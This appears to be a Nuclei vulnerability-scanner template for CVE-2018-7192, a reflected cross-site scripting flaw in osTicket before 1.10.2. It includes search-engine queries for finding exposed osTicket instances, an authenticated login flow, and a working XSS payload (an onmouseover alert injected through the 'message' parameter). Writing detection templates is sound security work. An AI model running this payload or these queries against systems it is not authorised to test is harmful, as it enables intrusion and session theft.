nuclei-templates/http/cves/2018/CVE-2018-7192.yaml

75 lines
2.6 KiB
YAML

id: CVE-2018-7192
info:
name: osTicket < 1.10.2 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Cross-site scripting (XSS) vulnerability in /ajax.php/form/help-topic in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the "message" parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
remediation: |
Upgrade osTicket to later version to mitigate this vulnerability.
reference:
- https://blog.securityevaluators.com/vulnerabilities-found-in-popular-ticketing-system-dd273bda229c
- https://nvd.nist.gov/vuln/detail/CVE-2018-7192
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-7192
cwe-id: CWE-79
epss-score: 0.00172
epss-percentile: 0.54693
cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: osticket
product: osticket
shodan-query: title:"osTicket"
fofa-query: title="osticket"
google-query: intitle:"osticket"
tags: cve,cve2018,osticket,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
GET /scp/login.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(tolower(body), "osticket")'
internal: true
extractors:
- type: regex
name: csrftoken
part: body
group: 1
regex:
- '__CSRFToken__" value="(.*?)"'
internal: true
- raw:
- |
POST /scp/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1
- |
GET /ajax.php/form/help-topic/1?a934f512c6644b03=&message=dgh7r%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20qavj5 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "dgh7r onmouseover=alert(document.domain) style=position:")'
- 'contains(header, "text/html")'
- 'status_code == 200'
condition: and
# digest: 4a0a004730450221009ec71e04f5587f9555c3a6455856fe0707c97016bf732bb2d32d3820c3c849990220474b01d82393e9e7e06e06b45821eebf52976c16c985bafab24e31a373fe90e5:922c64590222798bb761d5b6d8e72950